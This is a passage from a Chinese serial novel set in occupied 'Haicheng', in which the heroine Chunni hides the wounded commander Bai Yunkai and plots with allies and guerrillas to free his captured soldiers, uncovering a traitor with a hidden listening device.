万国商团离中英友好医院只有两条街,春妮听见枪声并不密集,也明白他们的抵抗必定相当有限,干脆将衣服硬塞给他。 “白大哥,这种时候,你可别犯傻。倭国人他们只想杀你,其他人对他们来说,最多是个苦力,一时不会有生命危险的。” 她跟罗阿水两个连劝带逼,让白云铠套上白大褂,左右架住他,赶在最后的时间,终于逃出了医院。 他们刚出医院,过马路的时候,一辆装甲车在医院门口停下,数个倭国人士兵跳进去朝天鸣枪,并冲了进去:“在那里面!” 三个人只看了那一眼,赶紧低下头,夹在人流中跑了出去。 “我们现在去哪?”奔跑中,罗阿水问道。 第167章 167 强硬 春妮和罗阿水带着白云铠去了法租界, 那里有她新买没多久的一间公寓套房,他们在那间套房里暂时安身。 这套房子原本是她上半年以备不时之需,凭秦伟和江婉玉几人的关系网买到的, 想不到第一个住客会是白云铠。 这套公寓因为位于法租界高档社区, 购买价格相当昂贵,足足花了春妮十条大黄鱼,即一百两黄金。是她买过的所有东西中,最昂贵的一个。昂贵到以至于花完这笔钱,直到很久以后,春妮回想起来,心里都还会有隐隐的自责和心疼。 如果去年那笔钱全部都在方校长手上, 他绝对不会拿出来,仅仅是为了购买房子。 但这一年多来, 南城政府的成立,欧洲战场的节节败退,以及德国忽然挥师东进,剑指俄国, 年初美国驻海城海军陆战队突然撤出海城,等等等等一系列的变故都让人不安到了极点。春妮像耗子挖洞似的, 一有机会就开始拼命囤积物资,准备房子和仓库成为了她这一年行事中的重中之重。 如果德国东进成功,他们必须考虑到最坏的情况:德日轴心国将会在东北会师! 她不知道囤这么多东西要干嘛, 最后会用到多少,但常年在末世生存的经验告诉她:危机来临时, 物资是最重要的。活得最长的那个,一定是拥有最后一口粮食的那个。 春妮近乎疯狂的行为在海城人中并不显眼,这个年代, 只要稍微有点门道,所有人都在拼命囤货。有门路的囤药囤粮囤棉花,没门路的,木板纸箱洋火洋钉……恐慌的海城人无所不囤,无所不买,却又没有什么买得到。 春妮其实在公共租界买的有其他房子,但罗阿水蹬着车,春妮在后面扶着白云铠。两人发现街上的倭国兵越来越多,他们不得不赶在倭国兵的前面一步,发现这些倭国人仅仅只占领了公共租界,并没有踏入一街之隔的法租界。 不管原因是什么,但现在街面上这样混乱,这是个混进法租界的好机会! 他们很快会为这 个决定庆幸。 因为白云铠只是伤情稍微稳定了一些,伤势并没有大好,罗阿水留在了公寓里照顾他,春妮返回学校,先弄明白现在的局势。 返回学校时,老师和学生们已经开始了上课。但她相信,这种时候,恐怕没几个人学得进去。 韩老师和方校长不在,王老师告诉她,他们都去打听消息去了。 兼任门房的韩师父放春妮进门之后,将大门从里面上了锁,说是校长说的,他没回来之前,所有的老师和学生都不许出去。 春妮按捺下一头的心事,坐回了自己的办公室,并且通知小摊的学生们也撤回了学校。 校长的处置是正确的,街上时不时有人惨叫大哭,那是顺利占领租界的倭国兵们在狂欢。他们砸烂了对面街口商店的橱窗蜂涌而进,店主赶过来,跌坐在台阶上,却一句话都不敢说。 甚至春妮跑回学校时,她不确定自己是不是听到了某一处街道上女人的哭叫声。 这种时候,即使春妮武功盖世,也不能逆流而上跟成建制的疯狗对抗。 韩厂长先回的学校:“巡捕房宣布解散了,里面全部站满了倭国兵,我看他们袖标上是海军陆战队的标志。” 方校长直到下午才回来,他的额头被打破了,血迹已经凝固,长袍上滚得又是泥巴又是脏污,还有一个又黑又粗的泥脚印被印在背心。 “昨天的消息,倭国人突然袭击了美国人在太平洋的一个海军基地。”方校长的消息让大家第一时间没反应过来。 “倭国人干什么没事袭击美国人?他们是不是疯了?” “就是说啊,美国人又没惹他们,他们去打美国人干什么?难道这群鳖孙子真以为自己是世界第一了?” 老师们七嘴八舌的,校长连喊了两声“安静”才纷纷停住说话。 方校长跟王老师说:“外面太乱了,从今天开始,所有的女老师暂时住校。今天有事没有到学校的,暂时都不用来了。现在哪些女老师需要回家收拾行李,举手跟韩校长报名,一会儿我们统一安排保安队的学生们去你们家里取。所有保安队成员和预备成员,从今天开始加强戒备,人员由每班十人增加到二十人。” “您这伤去看了大夫没有?”有人问。 “我不要紧,只是一点擦伤。”方校长挥挥手,说道:“不会有大事的。你们别忘了,我们学校有倭国人董事,他不会放任学校出事。都回去上课,对了,顾老师,你留下来。” 恐怕连连德江自己都想不到,他有一天会成为学校拉大旗做虎皮的那面“大旗”吧? 也不知道这面纸糊的“大旗”会有多少用处。 老师们离开后,方校长看着她,问道:“白营长是你救走的吧?”他虽然是在问她,语气却是肯定的。 春妮吱唔了两下:救白营长只是她当时下意识的反应,但很明显,她这样做会为她自己和学校带来一定的风险。这么些年来,她和校长一直致力于将风险挡在校园之外,这是她第一次主动冒险做些什么。 校长摇了摇手:“你也别骗我,小丫头在我眼皮子底下长这么些年,你能想什么,我会不知道?白营长跑了最好,我是一时没想起来,要是想起来了,肯定没你的事了。还有罗阿水,我也不问你们把人藏到哪去了。就问你,他现在安不安全?” 安全?怎么不安全? 她背着方校长买的那房子只有她一个人知道,都还没敢跟他说呢。房子里还有大量物资,他跟罗阿水躲三个月不出门都没问题。 校长叹了口气:“这世道,越来越乱了。你要做好准备,倭国人找不到人,一定会追查跟白营长有关的社会关系,你绝对是重点怀疑目标,这段时间,不管有什么风吹草动,你都得好好待在这。” “可是——” “没什么可不可是的。”方校长按住她的肩头,语重心长:“我不管你之前有什么打算,但现在最要紧的,是留存有用之身以待来日,不是在情势不明的时候瞎撞。” “您回来的时候,俘虏营那边去看过了吗?” “我去看过了,那边早就换成了倭国军人,别想了。”方校长一句话打灭了她的幻想:“你让白营长作好心理准备,我估计,那些倭国人会利用他的那些战友逼他出来。” 想到今天路过俘虏营时,那边密集的岗哨,方校长心情沉重。 “那白营长一定会中计的!”春妮急得站了起来。 “坐下!你忘了你刚刚答应我的,在家好好待着,哪也不去吗?” “可……不行的!校长 ,我们好不容易才救了白营长出来,倭国人要是真那么干,我们不是白费一场功夫吗?” “那你去能有什么用?你不知道那些畜牲是怎么糟踏小姑娘的。”想到街上的情形,方校长前所未有的强硬:“还是我这个校长的话是一点用也不管了?” “我没有……”春妮不甘不愿地低下头。 “你先回去休息一下吧,反正你小吃摊也开不了了。”方校长缓和了一下神色。 因为方校长前所未有的强硬,春妮怏怏不乐地返回家里,却发现了一个意料之外的客人。 “风萍,你怎么在这?” 夏风萍坐在她的床头折叠衣物,笑道:“你忘了?校长不许我们回家,我来投奔你来了。怎么,不欢迎?” “不是,校长说,俘虏营那边被换上了倭国人的重兵把守。”春妮没精打彩,一头栽倒在枕头上。 “那群中看不中用的死洋鬼子!一个个只会在我们华国人面前耀武扬威,结果倭国人来了,竟连个屁都不敢放!”夏风萍恨恨地捶了一下床单。 两人相坐无语,完全失去了说笑的心情。 “对了,还有件事,”夏风萍道:“家辉下午给我送洗漱衣物时告诉我,他们中午收到了港城的急电,倭国人今天也对港城发动了袭击。” “什么?!”春妮猛地站起来,在房中走来走去:“真是一群疯子!同时开辟这么多战场,他们是怕自己事情太少?对了,港城情况如何?” “家辉他们的电报说,还在交战当中。”夏风萍乐观地说:“兴许港城的英国人会多一点血性呢?” 春妮摇摇头,劝她别太盲目乐观:“这里毕竟不是他们的家乡,还是别指望外国人会豁出命来保护咱们自己的地盘吧。” 倭国人这种不可理喻的癫狂让春妮担心到了极点:现在倭国人是忙着接收租界,没时间腾空,等一切交接完毕,事情尘埃落地,他们会怎么对付白营长? 他重伤未愈无法走远路,这件事,不止春妮知道,罗阿水知道,倭国人,也知道。 晚上,因为这个问题,春妮躺在床上辗转难眠。在不知道翻了多少个身之后,一声叹息在黑暗中响起:“春妮,你有什么心事,不如先跟我说说。你再翻下去,这一晚上,咱们都别想睡了。” 第168章 168 搏斗 黑夜的幕布将白天的惊天巨变遮隐下来, 仿佛幕布下的虫鸣鸟叫都一道被隐去了。 春妮跟夏风萍的情谊历经过生死考验,勿庸置疑。她将俘虏营的变故简单告诉她,隐去了白云铠已经被她抢先救出来的事。 夏风萍听得完全睡不着了:“是啊, 我怎么没想起来, 那些倭国人简直百分百会对白营长下手的!现在怎么办?” 春妮将在心中只冒出个雏形的计划说出来:“现在倭国人刚刚接手俘虏营,肯定各处都还不熟悉,仔细想想,我们动作快的话,不是没有机会……” “不行!”夏风萍没等她说完,断然拒绝:“现在外面到处都在戒严,太危险了。你知道街上有多少倭国兵, 营地里有多少个倭国兵吗?连这都不知道,你也敢乱来?” “我——”春妮想说她有开挂的装备, 对别人来说很危险的行动,对她来说,就不一定了。 “这样吧,你跟我来。”夏风萍坐起身, 开始穿衣服。 春妮被她弄懵了:“你干嘛?你说我不行,难道你就行了?” “你想到哪去了?”夏风萍凑到她耳边:“我是说, 我带你去找家辉,我们一起想办法。” “朱先生能救出那些营兵?” 这话问出来,春妮自己都不相信, 但很快,她想到了朱先生那台神秘的电台……如果加上那台电台之后的力量, 有没有这个可能?春妮的心不受控制地嘣嘣狂跳起来。 夏风萍说得很保留:“家辉门路广,我们找他想想办法。行不行的 ,试了才知道嘛。” 夏风萍的家在离学校只有一条街的昌平路上, 走小路的话,不要十分钟就可以到。 两人穿好衣服,小心避过学生保卫队。自从那年夏生差点被从校长家里绑走之后,学校里就养了几条大狼狗。幸好春妮平时经常喂它们,在她翻过院墙之后,这些宝贝疙瘩们很争气地一个都没有叫。 出了围墙,百米之外的码头上几盏微弱的灯火。或许是此地接近倭军大本营的缘故,从两人的方向望过去,除了码头上有几个倭国兵在站岗之外,方圆百米以内,竟只有她们两个移动的人影。 两个女人溜着墙根到了夏风萍在昌平路的家。 现在其实还没到晚上十一点,夏家的小别墅跟这条街上其他人家一样,连门灯都没开。 夏风萍摸黑捅了半天的钥匙眼才打开门,转身招呼春妮:“进来吧。” 春妮却是将夏风萍扯到身后,一拳砸过去! “哎哟!”一声女人的惨叫响起来。 “于太太,你怎么悄没声地站在这?”夏风萍摸索着暗亮门廊上的灯,埋怨道:“你可真会吓人!” 于太太揉着半边脸,委屈道:“我这不是听见这边有动静,怕是有贼进了门,出来看看吗?” “出来看你倒是开个灯啊!”夏风萍被吓得不轻,连拍了好几下胸口。 于太太捂着脸,“呜呜”哭了起来:“这怎么我抓贼还抓出错来了?谁知道你半夜三更的——” 春妮听见她哭,额头上的青筋就开始跳。那年于太太求着夏风萍以优惠价租了她家的一楼之后,春妮就不太爱往她家跑了。 她实在不想跟这个拎不清的糊涂妇人打交道,正想着用什么话打发她,二楼的灯也亮了。 朱先生穿着睡衣走出来:“萍萍?你不是才说今天不回来了吗?顾小姐,你也来了?快上来说话。于太太你要是再哭下去,下个月租金咱们可得再商量商量了。” ………… 二楼书房 朱先生不像夏风萍,他的性子有些慢,也更加稳重。 听完春妮的话,他半天没作声。 夏风萍有点急了,掐了他一把:“你倒是说句话啊,帮不帮?” “我当然想帮的。”朱先生吸了口烟:“可现在什么都弄不清楚,想帮我也不知道怎么帮。” “怎么不知道怎么帮了?你不是有那么多朋友吗?请他们出马打听打听啊。”夏风萍在一边挤眉弄眼暗示他。 “白营长他们这些俘虏不是普通的俘虏,在双城政府,他们已经被宣传成了抗倭英雄代表,即使是在海城,很多人也视他们为精神偶像。朱先生,你想一想,万一他们落入倭国人手里,经受不住他们的手段变了节,偶像的毁灭会加速信念的崩坏。” 春妮这一天也在思索,为什么白云铠一定要救出这些俘虏兵,一定要跟他们同生共死。从这两年,春妮跟他的接触来看,他跟尹老师一样,是个看世情极透的聪明人。他务实求真,一心救国,知道什么是最重要的,不可能只为了所谓的讲义气就独自留下送死。 除非他的赴死有更重要的意义,这一切才说得通。 的确,如果他就此消失,敌人一定会更快速地瓦解剩余俘虏的心防,他们会以为自己彻底成了被抛弃的炮灰。 一群自暴自弃的俘虏和一个临阵脱逃的懦夫,还配当英雄和偶像吗? 是的,即使今天她将他救了出来,若是白云铠白英雄弃别人的性命于不顾,倭国人照样能实现自己的目的! 想来在双城政府抛弃他的那个时刻,白云铠就想清楚了自己即将面对的命运。 偶像,死也要死在神坛上。 但是春妮不想接受这样的命运,白云铠是个优秀的军人,更是海城无数人的良师益友,她不接受他顺应双城政府的安排,作为悲情英雄死去! 她生来就在跟命运搏斗,她即使死,也要死在跟命运搏斗的路上! “这的确是个不容忽视的问题。”朱先生的眉心深折,他终于站起来,走到门口取下风衣:“我出去一趟,你们先在这等我消息。” “你小心一些。”夏风萍从抽屉里取出一样东西,搁进了他的风衣口袋里。 那东西泛着银光,是把小巧玲珑的手枪。 春妮假装什么都没看见,看到桌上有咖啡,起身给两人煮了一壶:“慢慢喝吧。”这一夜可能会很长。 朱先生这一走,就是三个多小时。 春妮和夏风萍两个人都无心谈话,桌上的咖啡壶空了又满,满了又空,终于,快到三点钟的时候,楼下有了动静。 夏风萍跳起来,赶紧去开了门。 朱先生关上门,脸上是深重的疲惫: “对不起,朱某人力不能及,有负所托。” 看见他神色的那一刹那,春妮就有了不好的预感。 “没什么,你已经——”朱先生的懊恼是真实的,她想说两句话安慰,但怎么也说不出口。 其实她今晚跑来跟夏风萍一起求救,也没有抱太大的希望。现在预感成真,她仍然是止不住的失望。 春妮站了起来。 夏风萍拦住她:“都这个时候了,你还想去哪?” “还没到该放弃的时刻,我再去别的地方想想办法。” “你还能去哪?” “街上到处是巡逻的倭国兵,顾小姐,我知道你功夫不错。可在这种情况下,你做不了什么的。”朱先生也劝说道。 “那也不能什么都不做!”仿佛看到了白云铠的命运,春妮控制不住心中的烦燥,低吼道。 夏风萍怔住了:她从未见过这么失态的春妮,这令她陌生而无措。 这个小姑娘成长得非常快,在过去的三年多里,跟校长一样,成为了学校的定心针。她见过她面对危机时的反应,无论什么时候,她都是沉着冷静的。如果春妮也乱了,这说明,如果放任事态的发展,一定会有他们不愿意看到的结果! 她又一次将求助的目光投向了朱家辉:“家辉,真的什么办法都没有了吗?” 面对妻子恳求的目光,朱家辉到嘴边的话又咽了下去:“我再去试试。”他的话里没有多少信心。 “我跟你一起去。”夏风萍也开始起身穿风衣。 “你——” “你别忘了,我的射击成绩比你还好。我们两个人,总比你一个人有办法。”夏风萍这次没避讳春妮,拉开书架上的书,将里面藏着的另一支枪别到了腰间。 她转身想跟春妮说话,发现对方走到了门口,冲夫妇二人抱拳相谢:“我代白大哥多谢你们两位,先走一步,早上八点钟,不管我们有没有人成功,我在这里等你们见个面。” “你去哪?”夏风萍只来得及问这一句话,春妮已经跑下了楼梯。 她轻捷的脚步在木制楼梯上留下沉闷的“笃 笃”声,很快门锁“咔哒”一声,打开了,幽幽夜风灌进来。 “我们也走吧。”夏风萍同丈夫对视一眼,为彼此裹紧了衣领。 而这个时候,春妮全力奔跑,已经接近了她心中的目的地——苏河。 她刚刚之所以跑得这么快,除了心中焦急,觉得时不待我,最要紧的,是她在出门之前就决定好,要趁夜泅渡苏河。去对岸,到郊区,到张庄,找到涂铁柱和他的队伍,去向他求援! 这是她最后的希望。 现在已经是深秋,海城的秋天纵然不太冷,但深秋夜里的水,仍是凉得人手背直起鸡皮疙瘩。 以春妮的身体素质,这点凉意也不是很大的麻烦,真正的麻烦在于苏河的对岸。 四年多前,倭军占领海城之后,为了困死缩在租界里的人,严查物资流向之余,以苏河为界,在对岸拉起了细密的铁丝网,并每晚派兵巡逻。 无数个海城人为了活下去,曾在夜里悄悄泅渡下河,去对岸和周边郊县采购粮食,再偷偷贩运回来。 而在今夜,那些捂着半张脸,腰间身上穿得肥囊囊,腰背深深弓起的人一个也不见。 苏河仿佛也被今晚的反常冻住了,平静得像一面镜子。 春妮站在河岸上,将脱下的衣服扔进空间,深吸一口气,一个猛子扎了进去。 “汪汪汪汪”,不知是哪里的狗叫了起来。 第169章 169 郑重 凌晨四点, 春妮赶到了张庄。 涂铁柱驻营的山就在村后不到一里远的地方,春妮来张庄来过这么多次,一直谨守界限, 没有踏足过后山一步。 直到今天。 王大嘴将春妮领上山时, 涂铁柱已经收到消息,在一间草棚子里等着她。 “我说昨儿个一天城里鸡哇鬼叫的怎么回事,原来是小鬼子又憋坏发疯了?那租界的人呢?被祸祸的不轻吧?”现在这个年代,消息传递很慢。涂铁柱驻营的地方过于偏远,水电全不通,直到春妮找上门,才弄明白是怎么回事。 春妮简单地说了说租界的情况, 再将话题转到了白营长的身上。 涂铁柱沉默下来,他没有直接拒绝春妮, 而是道:“妹子,咱们打过这么多回交道,有什么话,老哥不瞒你。你说的这个事不小, 我不能一个人作主,这可是百十个兄弟的命。你给我一点时间, 我开个会,跟大家商量商量,我……还要请示请示。” 这几乎已经是明示, 涂铁柱是带队奉命隐藏在这里。其实在那年她请涂铁柱救学生时,他展现出的能力, 已经让她心里有了一个模糊的猜测,只是两人这几年都很有默契地没去提这个话题。 在这之前,春妮碰过了许多壁, 涂铁柱没把话说死,这已经让她足够感激。她明白涂铁柱的谨慎,谁的命都是命。她是想救白云铠,可她不想白填上别人的性命。 她听从涂铁柱的话,被王大嘴客客气气请到了林子里等候。 不一会儿,林中各处数条黑影从山里各个方向奔出,草房子里传来大声的争执声。 春妮静静等候着,抬头去看天色,天际的尽头微微泛起了蓝光。 深秋时间,草木凋零,虫豸钻入土中开始了冬眠,只有沙沙的风擦过树尖。天地之间似乎变得很静,但又似乎有很多个声音同时在她的耳边吵闹。生命也许就是这样,这个世界每天都有旧的生命逝去,却也有源源不断的新生命诞生。 一刻钟之后,王大嘴来叫春妮。 春妮在这短短的一刻钟时间里,她想了很多。万一这次涂铁柱仍然不答应她,她是不是该认命,就此折返回去,等待着白云铠走向既定的命运。如果—— “我派大嘴和保全叔跟你去城里走一趟,先看看情况再说。”他又点了几个人:“你们跟大嘴一起进城,帮着跑腿照应。” 到处碰壁,直到现在才见到了一线曙光,春妮激动地说不出话,冲涂铁柱鞠了个躬。 这下可把涂铁柱吓得从椅子上弹了起来:跟这姑娘认识这么久,她可从来没有这么郑重其事过! 他忙伸手去扶,嘴里一个劲道:“你这是干什么?白营长我早就听说过,只恨没机会见一面。那种人,不该为那乌龟王八崽子破政府折在海城。我以前是没机会,现在有了机会,怎么也得试一试不是?我又不是为了你,你真不用这样,快起来,起来!” 春妮也知道现在不是说客气话的时候,她跟涂铁柱像往常一样,对了口号和接应方式以及地点之后,一行人坐上山上唯一的马车趁最后一点夜色向城里赶去。 春妮赶到城门口时,黑夜的尽头有了一丝薄光,已经是将近早上七点钟了。 今天注定是艰难的一天。 海城从入城的入口开始,设立了重重哨卡严查进出城人口。每一个出入城的人手里必须有倭军宪兵队签署,带有本人照片的“通行证”才准许放行。 倭国人搞出来的通行证制度已经在海城施行了好几年,以前最多在租界,海关,车站等关口要地临检使用,想不到连城门口都要用上了。 海城可不是其他小地方,每天进出城的人口都可能比一个小县城的人多。几人望着路口一眼看去,完全不知道头的队伍,不由心中焦燥。 春妮因为经常出门,手里的通行证通过各种途径弄了好几套,都是真货。可跟着她的那几个人中,只有王大嘴叔侄两个,因为王大嘴娶了张庄的媳妇,算是定居在张庄,经常进出城贩卖东西,通行证能用,别人都算黑户,只能被拦在城外。 春妮只能带着王大嘴叔侄俩先进城,其他人回去另外想办法。 进城之后,三个人便分开了。 春妮知道,王大嘴叔侄两个肯定是带着涂铁柱说的“请示”的任务去联络上级,而她趁这个时间也快速回到昌平路夏风萍的家,跟朱先生他们汇合兼交换消息。 朱先生在家已经等了有一会儿,春妮看见他的神色就知道不好。 她先问夏风萍:“风萍呢?” “学校早上有课,她先走一步,让我在这里等你,”他顿了顿:“对不起,那边把守的人太多,我们实在没有那么多人手营救。” 为了让春妮相信他的话,他连自己是参与者的身份都主动坦承了。 春妮沉默片刻:“那你知道,那边把守的分布情况吗?” 朱先生吃惊地问:“你问这个做什么?难道你想单枪匹马强攻?” 春妮仍然沉默,涂铁柱那边的事她不知道要不要透露一些。 朱先生却将她的沉默当成了默认,连连道:“不行不行,你这是送死,我不答应。” 他这是有门路啊! 春妮眼睛一亮,立刻道:“我可以找到一些帮手,不会乱来的。风萍跟你说过吧?我们从战区都安全逃出来了,在这里小心一点也未必不可行。” “可那不一样,这里是城市,是海城。倭国人在这里的兵力不是什么大山小镇比得了的 。” “我明白,冒险的是我,最多我答应你见机行事,绝对不会乱来。只要发现事有不可为,一定会撤退,这总行了吧?” 朱先生擦燃火柴,点了一枝烟。 到了这个时候,春妮反而不再催他,静静等着他最后的决定。 “卖报喽!卖报喽!” 朱先生还在思考,楼下传来几声报童叫卖的声音。 春妮听见这声音,刷地开了窗,朝外面喝道:“大胖,都什么时候了,你怎么还在卖报?” 楼下正举着报纸的大胖抬头看见春妮,吓得一屁股坐倒在地上:“顾老师,你怎么在这?” 他是夏生的同桌,入校之初,因为家庭过于困难,春妮还破例收他妹妹二丫在摊子上名为跑腿,实际管了她一年的饭。现在二丫也入校就读了几年,而大胖作为他们家中的长子,上二年级能帮上家里忙之后,就改成了半天学,同其他同学一样,每天要先卖一上午的报纸,下午再来上学。 他的性格也变得稳重了很多。 春妮再怎么都没想到,今天街上这样的局势,他竟然敢出来卖报。 春妮先下去给大胖开了门,气得拧他耳朵:“校长昨天不是说过,让你们今天都先不要上工吗?你不想要命了?” 因为倭国兵在租界里到处作乱,昨天校长只放了男学生,让他们回家,又怕贸然放假,有些孩子家里没大人管束,干脆让他们起床就到学校待着。女学生和女老师不管住得再近再远,干脆一个都没放回去。 大胖歪着脑袋,老实被拎 进来,“顾老师你轻点,我是看今天报纸好卖,才卖了一会会儿,马上就不卖了的。” “好卖得赔上命也要卖?”春妮刚骂这一句,瞥见他手上报纸的一处角落,顾不得其他,一把抓过来,读出上面的标题:“双城匪首白云铠弃营在逃,其余战犯已全数移交。” 倭国人这就展开了第一轮舆论造势……好快的动作! “白营长逃走了?干得好!”朱先生还没深想,只听完标题,便喜形于色。 “……白云铠惧怕我倭军威武之势,已提前得知消息,抛弃战友闻风而逃,不知所踪。其部共计482名战犯已于昨早八点十三分,由英方代表彼得罗夫正式移交予倭军陆战队……” 朱先生接过报纸,念完这一小段文字,他的脸色变得很难看。 抛开稿件中那些明显有偏向性的修饰词语,其实这里面说的大部分是实话,但只是“抛弃战友”那四字,已经足够诛心。 “岂有此理,他们这是非要白营长死!”朱先生气得大骂。 “这不是早就能想到的吗?四年前,白营长只领着五百多人的残部,四面被围,却坚持跟他们作战十几天都没有被擒住,他就是让倭军蒙羞的存在。这样的人不尽快杀了他,还留着他,让他活着再创造一段传奇?” “是啊。”朱先生跌坐下来,“这一回的舆论风向,便是白营长逃了,也要叫他背负污名不得翻身。他就算真的逃到了双城,也没有人愿意再用这样的人了,杀人诛心啊。” 时间宝贵,春妮咳嗽一声:“大胖,你先出去等我。我说的那事?” 朱先生愕然:“白云铠都逃出来了,你还打算去救谁?” 春妮正要说话,门外大胖忽然一声怒喝:“哎,你,看什么看?” 两个人赶紧出去,大胖蹬蹬蹬冲下去,拽着许太太的胳膊,将她从厨房里拖出来:“顾老师,我刚刚就是看见她在探头探脑的,肯定没干好事!” 许太太尖叫,伸另一只手去打大胖:“放开手啦,你这个小赤佬,说谁探头探脑,说谁探头探脑!” 朱先生正是头疼,禁不住断喝一声:“好了,许太太,你先把人放下!” 许太太讪讪放下手,冲朱先生赔笑:“朱先生,是这个小……小东西说话太难听,我就是有点着急——” 朱先生哪里有时间听这些啰嗦话,挥手将人打发掉,两人接着回书房谈事。 可能是被许太太一搅和,他也想速战速决,取出笔记本,用钢笔随手画了个草图:“这边是俘虏营正门,正门进去,大约有十个人,这里是一楼拐角,这里是两个人,一般来回巡视,还有……” 一番讲解下来,春妮基本算清了俘虏营倭军的人数:大概八十到一百人。至于弹药,实在是无法统计,只能作罢。 倭人占据地利之便,有五到八辆的三轮摩托和两辆装甲车。据朱先生说,大楼里布设有不止一处的机枪点,具体在哪里,他们还没有探查清楚。 幸好这个俘虏营以前只是个训练场,并不是专业建造的监狱,没有瞭望塔,否则,春妮的营救行动将会更加的艰难。 不过光是这近百人的倭军守卫,已经是不小的难点了。倭人装备精良,海城的陆战队几乎都是经历过几次战役的老兵,他们还有地利之便,一打三都是轻轻松松,相当难对付。 朱先生他们的确是花了功夫在准备,只因营救难度过高,才不得不放弃。 春妮牢牢记熟他的讲解,将纸上的图印入脑海,末了,让朱先生擦亮火柴,点燃了这页纸。 两人沉默地看着纸页在铜盆中化为灰烬,朱先生忽然问道:“你那里能出多少人?” “嗯?” 他没看春妮:“我最多给你找二十个人过来帮忙,你能出多少人?” 春妮大喜:“我至少五十人,你真能出二十人?不不不不是,”她想起今早的困境,道:“你们要是能提供五十人的通行证会更好。还是一百人吧,一百人!” 朱先生古怪地看着她:“一百人的通行证,你是在海城哪里藏了一个连队?还以为我无所不能了?” 春妮嘿嘿一笑:“您就尽您所能呗。”反正漫天要价又不吃亏。 “我试试吧。” 离开房间前,春妮迟疑了一下:“那个许太太——” 朱先生了然:“放心,这次回来后,我会跟风萍提这事。许太太太爱管闲事,的确不再适合跟我们一起住。对了,我这里需要至少三天时间准备,你别嫌慢。” “我也需要不少时间准备,你不用着急。” “还有俘虏营的那些人,得想办法传些消息进去,有个信任的人能里应外合更好。” “知道了,这件事就交给我来办吧。”春妮答应下来。朱先生的意思正好跟她不谋而合。 不知道经过这一天的变化,俘虏营里还有多少值得信任的人。 第170章 170 处境 下午两点, 俘虏营,春妮顺利见到了罗永刚,以前他是政府军某部的后勤人员, 撤离之前受了伤, 部队也被打散了,最后跟白云铠合流抵抗,打到了这里。 被俘虏的这四年多中,他一直作为白云铠的副手,帮助操办俘虏营中半数的庶务,也是跟春妮和学校打交道比较多的人之一。 春妮仔细观察着他。白云铠被刺杀之后,俘虏营里启动了甄别程序, 据说很是挑出了几个伪政府的策反人员,而主持甄别的, 就是罗永刚。 从表面看,他戴着副黑框眼镜,并没有多大的变化。一身旧军装干净整洁,一直扣到最上面的风纪扣, 仍像以前一样不苟言笑。两个戴钢盔的倭国兵跟在他后面,寸步不离。 看来, 这回是不可能跟他再单独说点什么话了。 “你不该来的。”罗永刚皱着眉头,目光严厉。 “我觉得,这上面你可能有些想知道的消息。”春妮把报纸放在桌上摊平, 推给他。 身后的倭国兵抢先一步,捏起报纸哗啦哗啦抖动了好一会儿, 没发现夹带的东西,才将报纸递给罗永刚。 “你想给我看什么?”罗永刚扫了一眼,无心多看。他不觉得, 这时候有什么消息值得春妮冒这么大风险帮着带进来。 春妮手指越过《东华日报》的标题,一路指引,落点到《除双城匪首白云铠弃营在逃……》这条副标题上。 罗永刚瞳孔骤然一缩,捧起报纸,脸上渐渐露出喜色:“我们营长真的脱身了?他是怎么跑的?” 春妮道:“知道你们都担心他,我先把这个带过来,让你们知道他什么都好。” “多谢。”罗永刚将报纸胡乱卷了卷,“你还有什么事?一起说了吧,往后你想看我们,恐怕不会太方便了。” “还有就是前两天要送你们的那批棉被已经做得差不多了,你们安排个人,明天把东西拿了。” “这……都这个情况了,你能送进来?” 春妮笑了笑:“有钱能使鬼推磨。”她从随身带的蛇皮口袋里掏出一袋桔子和一袋榛子,当着两个倭国兵的面递给他:“拿回去吃吧。” 在那两个倭国兵动作之前,她又掏出十几块大洋,笑着一人分送了一把。 两个人眼中贪婪之光大胜,抓着大洋喜笑颜开。 而另外一边,罗永刚死死攥着这两袋东西,心跳一阵快似一阵:这丫 头刚刚在递桔子时,往他手里塞了一张纸。这也太大胆了,当着倭国人的面就给他传消息!她就不怕—— 身后一声僵硬的“站住”,罗永刚手微不可见地一抖:“佐藤队长。” “把你手上的东西给我看看。” 罗永刚下意识攥紧了手。 佐藤冷笑一声:“看来罗先生还没有学乖嘛。好好想想吧,你的老上司已经抛弃了你,你要是再不为自己着想,我可帮不了你。这个营里,不缺想跟我们倭国合作的人。” 他的话像鞭子一样抽在罗永刚的身上,让他微微颤抖,他只觉手中的那张纸有千钧之重。 “等一下。”他轻声说。 “笃笃”的脚步声之后—— “就……就是一张纸而已。” 微弱的电流声中,是罗永刚更加微小的声音。 “鲜美水果干货店,什么东西?你是不是藏到别的地方去了?” “我……我没有,真的只有一张纸。” “带走!再好好照顾照顾罗先生。”“啪哒”一声鞭响,是东西骨碌碌滚落一地的声音。 没人注意到,一个圆圆的,像石头似的小东西在他们的争执中滚落下来,跟着四散而落的榛子一样,掉到了桌子下面。 春妮取下无线电耳机,轻轻吐出一口气:罗永刚叛变了,她竟然不是很意外。 其实他们耐心一点,便会发现,报纸上她用针鼻划出痕迹,圈出了几个字,信息就隐藏在那些字里。甚至罗永刚一个一个剥开榛子,也会发现里面隐藏的耳机,但她只用一张干果店的单据,便试了出来。 看来,倭国人将白云铠失踪的愤怒转嫁到了那群俘虏身上,再不想办法营救,他们的处境会更进一步糟糕下去。 那么,剩下的俘虏里,她还能相信谁? 一张张脸从春妮的脑海中闪现,却又始终让她举棋不定:她今天留了个话缝,说明天会过来,但这个借口最多只能再用一次,如果明天选出来的人再有问题,就更不好办了。 ………… 不过总算坏消息中会夹着好消息。 白营长逃走的消息已经满大街都是,春妮没有继续瞒着王大嘴叔侄俩,没敢说自己知道白营长的下落,只说倭国人在逼他出来。这样放任下去,白营长还是死路一条,这些战俘们他们也不能抛弃不管。 下午,王大嘴告诉她:“上边说,白营长是抗倭英雄,是一面让敌人憎恨的旗帜。为了鼓励沦陷区百姓的抗战信心,基本同意了我们的营救意见,可以试一试。但是以我们自己的安全为重,发现事有不可为,必须立即撤退。”他望着春妮:“我们最多只能派出三十个人。你也知道,这几天租界戒严,人弄得太多了,我们也混不进来。” 三十加二十……春妮吐出一口浊气:“剩下二十八个人,怎么安排,你们有初步的计划了吗?” ………… 转眼三天过去。 这三天中,倭国旗下的海城媒体一步一步在对白云铠进行围堵,从最开始的“抛弃战友”,到第二天的“懦夫白云铠”,到第三天的“华国之耻白云铠”,他们手中的笔刀用辞一天比一天激烈。 春妮走在路上,听见路人大声争执:“双城政府惯是这样,要不是他们在南城降得那么快,南城怎么会遭遇那种事?” 